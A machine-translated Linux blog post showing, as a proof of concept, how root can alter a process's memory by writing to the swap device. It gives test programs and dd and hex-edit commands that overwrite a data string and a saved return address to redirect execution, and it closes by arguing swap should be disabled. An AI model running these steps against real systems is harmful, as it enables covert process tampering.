Modify Linux swap space to achieve process injection

After two consecutive nights of heavy rain, it was comfortable, and I returned home from get off work to continue juggling.

I juggled a handful of /proc/$pid/mem last night and wrote an article about process code injection:
https://blog.csdn.net/dog250/article/details/108618568
This method is nothing more than using the kernel to export to A mem file in procfs, and thankfully it is writable! This is not a universal method. As for ptrace and stap, they are more of a tool than a craft.

Swap space is universal enough, any system has it, it is an important part of the infrastructure of modern operating systems, this article will use swap space to start.

Last weekend, I stringed the swap space of a virtual machine on my computer. It was scary. It had everything. My various account passwords and many of the websites I logged in could be found in the swap space. So I quickly turned off swap. .

The swap space is a leaky bucket! A public drying rack.

Therefore, we can use the swap space to play the process hack.

By the way, don’t think about encrypting the swap space. Swap is already slow. You can encrypt and decrypt again. The slower is slower. In order to get a flat address space, it is meaningless to do so, add memory. That's it.

However, isn't it possible to dump the entire memory by adding a memory stick? For example, /dev/mem, /proc/$pid/mem... Even so, it is safer than swap. Hack swap is so easy!

First of all, I want to achieve the purpose of modifying private data in the process by covering a specific location in the swap space.

Look at the code first:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>

#define MADV_SOFT_OFFLINE	101

int main(int argc, const char **argv)
{
    
    
	void *map[65536];
	char buf[256];
	int i = 0, which;

	// 循环分配内存并写内存,目的是触发swap to disk操作。
	while (i < 65535) {
    
     // 65535也许有点小了,为了实验的目的,我特意将虚拟机内存缩小为64M,以更容易地触发内存swap。
		map[i] = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
		if (map[i] == NULL)
			break;
		// 眼睁睁看着是这些字符串复制进了buffer
		snprintf(buf, 256, "E%d:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat", i);
		strcpy(map[i], buf);
		i ++;
	}
	printf("map:%d\n", i);
	scanf("%d", &which);
	printf("map after:%s\n", map[which]);
	return 0;
}

The following steps are done in one go:

  • Find the position of the characteristic string in the swap space.
  • Replace the string dd to the corresponding position in the swap space.

Please see:

# 在swap空间查找特征字符串的位置偏移
# 注意,我用1234做索引,目的后面我会导出进程map数组的第1234个元素,以查验它有没有被修改。
[root@localhost test]# strings -a -t x /dev/dm-1 |grep E1234:ZheJiang
391f000 E1234:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat
[root@localhost test]#
# 展示一下替换字符串以及其大小
[root@localhost test]# ll ./new
-rw-r--r-- 1 root root 70 9月  17 17:32 ./new
[root@localhost test]# cat new
DDDDD:Zhejiang Wenzhou   pixie  shi,xia  yu  jin  shui  bu  hui  pang
[root@localhost test]#
# 上述偏移 0x391f000 的十进制 59895808,用替换自负串覆盖swap空间的特征字符串
[root@localhost test]# dd if=./new of=/dev/dm-1 obs=1 bs=1 seek=59895808 count=70 
记录了70+0 的读入
记录了70+0 的写出
70字节(70 B)已复制,0.00130832 秒,53.5 kB/秒

Please note here that this article only uses characteristic strings as an example. In actual practice, any binary can be used to match. Strings are used here, mainly because the strings command is more convenient, and regular rules can also be used. If it is an arbitrary binary match, then It needs other binary pattern matching techniques.

Next, I enter 1234 as the index in the terminal where the mmap program is running to see the situation:

1234 # 此为输入,根据特征字符串E1234:ZheJiang,需要输入1234为索引
map after:DDDDD:Zhejiang Wenzhou   pixie  shi,xia  yu  jin  shui  bu  hui  pang

[root@localhost test]#

Replaced successfully! This time I did not use stap, did not write /proc/$pid/mem, just wrote swap.

Since the data can be replaced, the stack space is part of the data, and it can also be swapped out. If the stack can be operated by writing swap, wouldn't it be possible to complete an operation similar to ROP and replace the return address at will.

Next, let's try it.

Look at another code:

#include <stdio.h>
#include <stdlib.h>

void func()
{
    
    
	char v[] = "555555555555555555555555";
	getchar();
	printf("after getchar\n");
}

int main(int argc, char **argv)
{
    
    
	func();
	printf("end\n");
	return 0;
}

It's simple, let's run it once:

[root@localhost test]# ./a.out
A
after getchar
end
[root@localhost test]#  

Enter a character, print two lines of prompts, nothing more.

My goal is to make the program no longer print the sentence "after getchar" by manipulating the swap space, bypassing printf and returning directly from fun. Can it be done? of course can!

Run it first, but don't type:

[root@localhost test]# ./a.out
... # 等待输入

Look at the original return address location of getchar through objdump:

400593:   e8 b8 fe ff ff          callq  400450 <getchar@plt>
400598:   bf 60 06 40 00          mov    $0x400660,%edi
40059d:   e8 8e fe ff ff          callq  400430 <puts@plt>
4005a2:   c9                      leaveq      

Well, it is 0x400598. I want to skip printf, which is puts in objdump, by modifying the swap space and then modifying the return address to 0x4005a2.

The next step is to find the stack location of the a.out program in the swap space.

If you want to modify the stack of a process by operating the swap space, you have to find a way to swap out its stack. If you want the o.out stack to be swapped out, I use the mmap process at the beginning of this article to allocate memory. Then the stack memory of the inactive process a.out waiting for input will of course be swapped out.

Confirm it:

[root@localhost test]# ps -e|grep a.out
 3230 pts/2    00:00:01 a.out
[root@localhost test]# cat /proc/3230/smaps |grep -A15 stack|grep Swap
Swap:                16 kB

Next, look for the characteristic string "555555555555555555555555" in an attempt to find the return address of getchar 0x400598 near it:

[root@localhost test]# strings -a -t x /dev/dm-1 |grep 555555555555555555555555
2e5e09a 555555555555555555555555  # 2e5e09a向下附近确定为48619550,也可以是附近别的值。
[root@localhost test]# dd of=./stack if=/dev/dm-1 obs=1 bs=1 skip=48619550 count=4096

Edit the binary stack file with ":%!xxd" in "vi -b ./stack" and find the following location:

...
00000050: 647f 0000 0000 0000 0000 0000 9805 4000  d.............@.
00000060: 0000 0000 3535 3535 3535 3535 3535 3535  ....555555555555
00000070: 3535 3535 3535 3535 3535 3535 0000 0000  555555555555....
...

Change "9805 4000" to "a205 4000":

00000050: 647f 0000 0000 0000 0000 0000 a205 4000  d.............@.

Save with "%!xxd -r", and then dd back:

[root@localhost test]# dd if=./stack of=/dev/dm-1 obs=1 bs=1 seek=48619550 count=4096

Type the character "A" in the terminal running a.out:

[root@localhost test]# ./a.out
A
end
[root@localhost test]#

Successfully bypassed printf!

Would like to complete this kind of attack is very simple, just need to trigger the system to swap memory to swap space, you have to do is allocate memory, and then let the system memory will be pushed to exploit the public visibility of swap space , and then ...

It has to be said that if the stack of a process is swapped out, as long as you can find the position of the stack in the swap space, you can stack any data on the stack. It is not difficult to construct a ROP that satisfies ReturnToLibc offline. Mainly hand speed, must be fast!

how to say? Is there any need for swap space in modern operating systems?

As a virtual storage-based operating system, modern operating systems shield the differences in memory media in principle, and the purpose is to provide a flat address space for the process. There is no problem. However, in practice, I think this mechanism is no longer needed. More value of swap is applied to small memory systems, while contemporary system memory is often dozens of gigabytes. If swap is enabled, security cannot be guaranteed. Frequent swapping in and out will also cause delay and jitter in process operation. No need anymore.

Turn off swap.


The leather shoes in Wenzhou, Zhejiang are wet, so they won’t get fat in the rain.

Guess you like

Origin blog.csdn.net/dog250/article/details/108650671
Recommended